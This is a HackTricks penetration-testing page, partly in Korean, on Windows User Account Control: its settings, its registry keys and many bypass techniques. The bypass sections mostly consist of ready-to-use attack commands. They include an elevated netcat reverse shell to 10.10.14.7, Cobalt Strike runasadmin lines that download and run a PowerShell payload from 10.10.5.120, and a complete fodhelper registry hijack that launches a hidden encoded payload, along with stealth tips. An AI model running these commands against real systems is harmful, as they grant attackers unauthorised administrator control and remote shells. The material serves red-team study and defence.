UAC - ์‚ฌ์šฉ์ž ๊ณ„์ • ์ปจํŠธ๋กค

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

UAC

User Account Control (UAC) ๋Š” ๊ถŒํ•œ ์ƒ์Šน ์ž‘์—…์— ๋Œ€ํ•œ ๋™์˜ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ ์„œ๋กœ ๋‹ค๋ฅธ integrity ๋ ˆ๋ฒจ์„ ๊ฐ€์ง€๋ฉฐ, ๋†’์€ ๋ ˆ๋ฒจ์˜ ํ”„๋กœ๊ทธ๋žจ์€ ์‹œ์Šคํ…œ์„ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. UAC๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์ž‘์—…์€ ๊ด€๋ฆฌ์ž๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ ํ•ด๋‹น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜/์ž‘์—…์— ๊ด€๋ฆฌ์ž ์ˆ˜์ค€ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š” ํ•œ ํ•ญ์ƒ ๋น„๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ ๋ณด์•ˆ ์ปจํ…์ŠคํŠธ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ด€๋ฆฌ์ž๋ฅผ ์˜๋„์น˜ ์•Š์€ ๋ณ€๊ฒฝ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ํŽธ์˜ ๊ธฐ๋Šฅ์ด์ง€๋งŒ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผ๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.

integrity ๋ ˆ๋ฒจ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด:

Integrity Levels

UAC๊ฐ€ ์ ์šฉ๋˜๋ฉด, ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž๋Š” 2๊ฐœ์˜ ํ† ํฐ์„ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค: ์ผ๋ฐ˜ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํ‘œ์ค€ ์‚ฌ์šฉ์ž ํ† ํฐ๊ณผ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํ† ํฐ์ž…๋‹ˆ๋‹ค.

์ด page ๋Š” UAC์˜ ๋™์ž‘ ๋ฐฉ์‹(๋กœ๊ทธ์˜จ ํ”„๋กœ์„ธ์Šค, ์‚ฌ์šฉ์ž ๊ฒฝํ—˜, UAC ์•„ํ‚คํ…์ฒ˜ ํฌํ•จ)์„ ๋งค์šฐ ์ƒ์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž๋Š” ๋กœ์ปฌ ์ˆ˜์ค€์—์„œ(secpol.msc ์‚ฌ์šฉ) ๋ณด์•ˆ ์ •์ฑ…์œผ๋กœ ์กฐ์ง์— ๋งž๊ฒŒ UAC ๋™์ž‘์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Active Directory ๋„๋ฉ”์ธ ํ™˜๊ฒฝ์—์„œ๋Š” Group Policy Objects(GPO)๋ฅผ ํ†ตํ•ด ๊ตฌ์„ฑยท๋ฐฐํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ์„ค์ •์€ here์—์„œ ์ž์„ธํžˆ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. UAC์— ๋Œ€ํ•ด ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” Group Policy ์„ค์ •์€ 10๊ฐœ๊ฐ€ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ ํ‘œ๋Š” ์ถ”๊ฐ€ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

Group Policy SettingRegistry KeyDefault Setting
User Account Control: Admin Approval Mode for the built-in Administrator accountFilterAdministratorToken๋น„ํ™œ์„ฑํ™”
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktopEnableUIADesktopToggle๋น„ํ™œ์„ฑํ™”
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval ModeConsentPromptBehaviorAdmin๋น„-Windows ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•ด ๋™์˜ ์š”์ฒญ
User Account Control: Behavior of the elevation prompt for standard usersConsentPromptBehaviorUser๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ์—์„œ ์ž๊ฒฉ ์ฆ๋ช… ์š”์ฒญ
User Account Control: Detect application installations and prompt for elevationEnableInstallerDetectionํ™œ์„ฑํ™”(ํ™ˆ์˜ ๊ธฐ๋ณธ๊ฐ’) / ๋น„ํ™œ์„ฑํ™”(์—”ํ„ฐํ”„๋ผ์ด์ฆˆ์˜ ๊ธฐ๋ณธ๊ฐ’)
User Account Control: Only elevate executables that are signed and validatedValidateAdminCodeSignatures๋น„ํ™œ์„ฑํ™”
User Account Control: Only elevate UIAccess applications that are installed in secure locationsEnableSecureUIAPathsํ™œ์„ฑํ™”
User Account Control: Run all administrators in Admin Approval ModeEnableLUAํ™œ์„ฑํ™”
User Account Control: Switch to the secure desktop when prompting for elevationPromptOnSecureDesktopํ™œ์„ฑํ™”
User Account Control: Virtualize file and registry write failures to per-user locationsEnableVirtualizationํ™œ์„ฑํ™”

UAC Bypass Theory

์ผ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์€ ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ์œผ๋ฉด ์ž๋™์œผ๋กœ autoelevated ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋“ค์€ ๊ทธ๋“ค์˜ Manifests ์•ˆ์— ๊ฐ’์ด _True_์ธ autoElevate ์˜ต์…˜์„ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ๋˜ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” Microsoft์— ์˜ํ•ด ์„œ๋ช…๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋งŽ์€ auto-elevate ํ”„๋กœ์„ธ์Šค๋Š” COM objects ๋˜๋Š” RPC servers๋ฅผ ํ†ตํ•ด ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” medium integrity(์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ์ˆ˜์ค€ ๊ถŒํ•œ)๋กœ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค์—์„œ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. COM(Component Object Model)๊ณผ RPC(Remote Procedure Call)๋Š” Windows ํ”„๋กœ๊ทธ๋žจ์ด ์„œ๋กœ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค ๊ฐ„์— ํ†ต์‹ ํ•˜๊ณ  ๊ธฐ๋Šฅ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, **IFileOperation COM object**๋Š” ํŒŒ์ผ ์ž‘์—…(๋ณต์‚ฌ, ์‚ญ์ œ, ์ด๋™)์„ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ ํ”„๋กฌํ”„ํŠธ ์—†์ด ์ž๋™์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค๊ฐ€ System32 directory์—์„œ ์‹คํ–‰๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋“ฑ์˜ ๊ฒ€์‚ฌ๊ฐ€ ์ˆ˜ํ–‰๋  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด injecting into explorer.exe ๋˜๋Š” System32์— ์œ„์น˜ํ•œ ๋‹ค๋ฅธ ์‹คํ–‰ ํŒŒ์ผ์— ์ฃผ์ž…ํ•จ์œผ๋กœ์จ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ PEB๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. Windows์˜ ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋Š” ์‹คํ–‰ ํŒŒ์ผ ๊ฒฝ๋กœ ๋“ฑ ํ”„๋กœ์„ธ์Šค์— ๊ด€ํ•œ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜๋Š” Process Environment Block(PEB)์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. PEB๋ฅผ ์ˆ˜์ •ํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ์•…์„ฑ ํ”„๋กœ์„ธ์Šค์˜ ์œ„์น˜๋ฅผ ์œ„์กฐ(spoof)ํ•˜์—ฌ ์‹ ๋ขฐ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ(์˜ˆ: system32)์—์„œ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์Šคํ‘ธํ•‘๋œ ์ •๋ณด๋Š” COM ๊ฐ์ฒด๋ฅผ ์†์—ฌ ์‚ฌ์šฉ์ž์—๊ฒŒ ํ”„๋กฌํ”„ํŠธ๋ฅผ ํ‘œ์‹œํ•˜์ง€ ์•Š๊ณ  ๊ถŒํ•œ์„ ์ž๋™์œผ๋กœ ์ƒ์Šน์‹œํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ UAC๋ฅผ bypass(medium ๋ฌด๊ฒฐ์„ฑ ์ˆ˜์ค€์—์„œ high๋กœ ์ƒ์Šน)ํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ถ€ ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ด์šฉํ•ด execute arbitrary code๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ฝ”๋“œ๊ฐ€ High level integrity process์—์„œ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋ฐ”์ด๋„ˆ๋ฆฌ์˜ _Manifest_๋Š” Sysinternals์˜ ๋„๊ตฌ _sigcheck.exe_๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (sigcheck.exe -m <file>) ๋˜ํ•œ ํ”„๋กœ์„ธ์Šค์˜ integrity level์€ Sysinternals์˜ Process Explorer ๋˜๋Š” _Process Monitor_๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Check UAC

UAC๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

๋งŒ์•ฝ **1**์ด๋ฉด UAC๋Š” ํ™œ์„ฑํ™”๋จ, **0**์ด๊ฑฐ๋‚˜ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด UAC๋Š” ๋น„ํ™œ์„ฑํ™”๋จ.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ์–ด๋–ค ๋ ˆ๋ฒจ์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • If 0 then, UAC wonโ€™t prompt (like ์‚ฌ์šฉ ์•ˆ ํ•จ)
  • If 1 the admin is ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์š”๊ตฌ๋ฐ›์Œ to execute the binary with high rights (on ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ)
  • If 2 (ํ•ญ์ƒ ์•Œ๋ฆผ) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ)
  • If 3 like 1 but not necessary on ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ
  • If 4 like 2 but not necessary on ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ
  • if 5(๊ธฐ๋ณธ๊ฐ’) it will ask the administrator to confirm to run non Windows binaries with high privileges

Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside โ€œAdministratorsโ€ group can do them.

And, finally take a look at the value of the key FilterAdministratorToken
If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.

Summary

  • If EnableLUA=0 or ์กด์žฌํ•˜์ง€ ์•Š์Œ, ์•„๋ฌด์—๊ฒŒ๋„ UAC ์—†์Œ
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=1, ์•„๋ฌด์—๊ฒŒ๋„ UAC ์—†์Œ
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=0, RID 500 (Built-in Administrator)์—๋Š” UAC ์—†์Œ
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ UAC ์ ์šฉ

All this information can be gathered using the metasploit module: post/windows/gather/win_privs

You can also check the groups of your user and get the integrity level:

net user %username%
whoami /groups | findstr Level

UAC ์šฐํšŒ

Tip

ํ”ผํ•ด์ž์— ๊ทธ๋ž˜ํ”ฝ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, UAC ํ”„๋กฌํ”„ํŠธ๊ฐ€ ๋œฐ ๋•Œ ๋‹จ์ˆœํžˆ โ€œ์˜ˆโ€œ๋ฅผ ํด๋ฆญํ•˜๋ฉด ๋˜๋ฏ€๋กœ UAC ์šฐํšŒ๋Š” ๋งค์šฐ ๊ฐ„๋‹จํ•˜๋‹ค๋Š” ์ ์„ ์ฐธ๊ณ ํ•˜์„ธ์š”

UAC ์šฐํšŒ๋Š” ๋‹ค์Œ ์ƒํ™ฉ์—์„œ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: UAC๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ , ํ”„๋กœ์„ธ์Šค๊ฐ€ medium integrity context์—์„œ ์‹คํ–‰ ์ค‘์ด๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ administrators ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ๋Š” ๊ฒฝ์šฐ.

ํŠนํžˆ UAC๊ฐ€ ์ตœ๊ณ  ๋ณด์•ˆ ์ˆ˜์ค€(Always)์— ์„ค์ •๋œ ๊ฒฝ์šฐ์—๋Š” ๋‹ค๋ฅธ ๋ชจ๋“  ์ˆ˜์ค€(Default)์— ๋น„ํ•ด UAC๋ฅผ ์šฐํšŒํ•˜๊ธฐ๊ฐ€ ํ›จ์”ฌ ๋” ์–ด๋ ต๋‹ค๋Š” ์ ์„ ์–ธ๊ธ‰ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

UAC disabled

UAC๊ฐ€ ์ด๋ฏธ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ (ConsentPromptBehaviorAdmin์ด 0) ๋‹ค์Œ๊ณผ ๊ฐ™์ด reverse shell์„ admin privileges๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (high integrity level) ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

Very Basic UAC โ€œbypassโ€ (full file system access)

๋งŒ์•ฝ Administrators ๊ทธ๋ฃน์— ์†ํ•œ ์‚ฌ์šฉ์ž๋กœ ์‰˜์ด ์žˆ๋‹ค๋ฉด, ๋กœ์ปฌ์—์„œ SMB๋ฅผ ํ†ตํ•ด mount the C$ ๊ณต์œ ๋ฅผ ์ƒˆ ๋””์Šคํฌ๋กœ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ๊ณ , ๊ทธ๋Ÿฌ๋ฉด ํŒŒ์ผ ์‹œ์Šคํ…œ ๋‚ด๋ถ€์˜ ๋ชจ๋“  ํ•ญ๋ชฉ์— access to everything inside the file system (์‹ฌ์ง€์–ด Administrator home folder๊นŒ์ง€) ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

์ด ๋ฐฉ๋ฒ•์€ ๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

Cobalt Strike ๊ธฐ์ˆ ์€ UAC๊ฐ€ ์ตœ๋Œ€ ๋ณด์•ˆ ์ˆ˜์ค€์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ์—๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire์™€ Metasploit์—๋Š” UAC๋ฅผ bypassํ•˜๊ธฐ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๋ชจ๋“ˆ๋„ ์žˆ๋‹ค.

KRBUACBypass

๋ฌธ์„œ์™€ ๋„๊ตฌ: https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME ๋Š” ์—ฌ๋Ÿฌ UAC bypass exploits์˜ ๋ชจ์Œ์ง‘์ด๋‹ค. ์ฐธ๊ณ ๋กœ compile UACME using visual studio or msbuild ํ•ด์•ผ ํ•œ๋‹ค. ์ปดํŒŒ์ผํ•˜๋ฉด ์—ฌ๋Ÿฌ ์‹คํ–‰ ํŒŒ์ผ(์˜ˆ: Source\Akagi\outout\x64\Debug\Akagi.exe)์ด ์ƒ์„ฑ๋˜๋ฉฐ, ์–ด๋–ค ํŒŒ์ผ์ด ํ•„์š”ํ•œ์ง€ ์•Œ์•„์•ผ ํ•œ๋‹ค.
์ผ๋ถ€ bypass๋Š” ๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋žจ์„ ํ˜ธ์ถœํ•˜์—ฌ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•Œ๋ฆผ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค.

UACME์—๋Š” ๊ฐ technique๊ฐ€ ๋™์ž‘์„ ์‹œ์ž‘ํ•œ build version์ด ๊ธฐ์žฌ๋˜์–ด ์žˆ๋‹ค. ์ž์‹ ์˜ ๋ฒ„์ „์— ์˜ํ–ฅ์„ ์ฃผ๋Š” technique๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

๋˜ํ•œ, this ํŽ˜์ด์ง€๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋นŒ๋“œ ๋ฒ„์ „์—์„œ Windows ๋ฆด๋ฆฌ์Šค 1607์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UAC Bypass โ€“ fodhelper.exe (Registry hijack)

์‹ ๋ขฐ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ fodhelper.exe๋Š” ์ตœ์‹  Windows์—์„œ auto-elevated ๋ฉ๋‹ˆ๋‹ค. ์‹คํ–‰๋  ๋•Œ, ์•„๋ž˜์˜ per-user registry path๋ฅผ ์กฐํšŒํ•˜๋ฉฐ DelegateExecute verb๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ ์œ„์น˜์— ๋ช…๋ น์„ ์‹ฌ์œผ๋ฉด Medium Integrity ํ”„๋กœ์„ธ์Šค(์‚ฌ์šฉ์ž๊ฐ€ Administrators์— ์žˆ๋Š” ๊ฒฝ์šฐ)๊ฐ€ UAC prompt ์—†์ด High Integrity ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Registry path queried by fodhelper:

HKCU\Software\Classes\ms-settings\Shell\Open\command

PowerShell ๋‹จ๊ณ„ (set your payload, then trigger):

# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"

# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null

# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force

# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"

# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force

Notes:

  • ํ˜„์žฌ ์‚ฌ์šฉ์ž๊ฐ€ Administrators ๋ฉค๋ฒ„์ด๊ณ  UAC ๋ ˆ๋ฒจ์ด ๊ธฐ๋ณธ/๊ด€๋Œ€(default/lenient)์ผ ๋•Œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค (Always Notify with extra restrictions๊ฐ€ ์•„๋‹ ๊ฒฝ์šฐ).
  • 64-bit Windows์—์„œ 32-bit ํ”„๋กœ์„ธ์Šค์—์„œ 64-bit PowerShell์„ ์‹œ์ž‘ํ•˜๋ ค๋ฉด sysnative ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • Payload๋Š” PowerShell, cmd ๋˜๋Š” EXE ๊ฒฝ๋กœ ๋“ฑ ์–ด๋–ค ๋ช…๋ น์ด๋“  ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์€๋ฐ€์„ฑ์„ ์œ„ํ•ด ํ”„๋กฌํ”„ํŠธ UI๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๊ฒƒ์€ ํ”ผํ•˜์„ธ์š”.

More UAC bypass

All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).

You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:

(_explorer.exe_๊ฐ€ ์ž‘๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค)

UAC Bypass with GUI

GUI์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, UAC prompt๊ฐ€ ๋œฐ ๋•Œ ๋‹จ์ˆœํžˆ ์Šน์ธํ•˜๋ฉด ๋˜๋ฏ€๋กœ ์‹ค์ œ๋กœ bypass๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ GUI ์ ‘๊ทผ์„ ์–ป์œผ๋ฉด UAC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์šฉ ์ค‘์ด๋˜ GUI ์„ธ์…˜(์˜ˆ: RDP)์„ ํ™•๋ณดํ•˜๋ฉด, ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์ผ๋ถ€ ๋„๊ตฌ๋“ค์ด ์žˆ์–ด ๊ฑฐ๊ธฐ์—์„œ ์˜ˆ๋ฅผ ๋“ค์–ด cmd๋ฅผ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์ง์ ‘ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  ์ด ๊ฒฝ์šฐ ๋‹ค์‹œ UAC๋กœ ํ”„๋กฌํ”„ํŠธ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ˆ: https://github.com/oski02/UAC-GUI-Bypass-appverif. ์ด๊ฒƒ์€ ์ข€ ๋” ์€๋ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Noisy brute-force UAC bypass

์†Œ์Œ(๋…ธ์ด์ฆˆ)์„ ์‹ ๊ฒฝ์“ฐ์ง€ ์•Š๋Š”๋‹ค๋ฉด https://github.com/Chainski/ForceAdmin ๊ฐ™์€ ๊ฒƒ์„ ์‹คํ–‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜๋ฝํ•  ๋•Œ๊นŒ์ง€ ๊ถŒํ•œ ์ƒ์Šน์„ ์š”์ฒญํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Your own bypass - Basic UAC bypass methodology

UACME๋ฅผ ๋ณด๋ฉด ๋Œ€๋ถ€๋ถ„์˜ UAC ์šฐํšŒ๋Š” Dll Hijacking ์ทจ์•ฝ์ ์„ ์•…์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ฃผ๋กœ ์•…์„ฑ dll์„ _C:\Windows\System32_์— ์”๋‹ˆ๋‹ค). Read this to learn how to find a Dll Hijacking vulnerability.

